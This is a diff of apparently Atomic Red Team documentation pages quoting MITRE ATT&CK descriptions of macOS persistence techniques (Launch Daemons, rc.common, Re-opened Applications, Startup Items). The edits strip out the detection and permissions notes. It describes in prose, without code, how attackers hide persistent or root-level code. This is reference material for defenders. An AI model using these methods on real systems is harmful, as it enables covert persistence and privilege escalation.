-The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.
-
-Detection: Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.
-
-Platforms: macOS
-
-Data Sources: Process Monitoring, File monitoring
-
-Effective Permissions: root
-
-Permissions Required: Administrator</blockquote>
+The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.</blockquote>

 ## Atomic Tests

@@ -2,15 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1163)
 <blockquote>During the boot process, macOS executes <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

-Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).
-
-Detection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.
-
-Platforms: macOS
-
-Data Sources: File monitoring, Process Monitoring
-
-Permissions Required: root</blockquote>
+Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).</blockquote>

 ## Atomic Tests

@@ -1,14 +1,8 @@
 # T1164 - Re-opened Applications
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1164)
-<blockquote>Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. 
+<blockquote>Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist</code>. 

-An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).
-
-Detection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.
-
-Platforms: macOS
-
-Permissions Required: User</blockquote>
+An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).</blockquote>

 ## Atomic Tests

@@ -2,17 +2,7 @@
 ## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1165)
 <blockquote>Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. 

-An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.
-
-Detection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
-
-Platforms: macOS
-
-Data Sources: File monitoring, Process Monitoring
-
-Effective Permissions: root
-
-Permissions Required: Administrator</blockquote>
+An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.</blockquote>

 ## Atomic Tests

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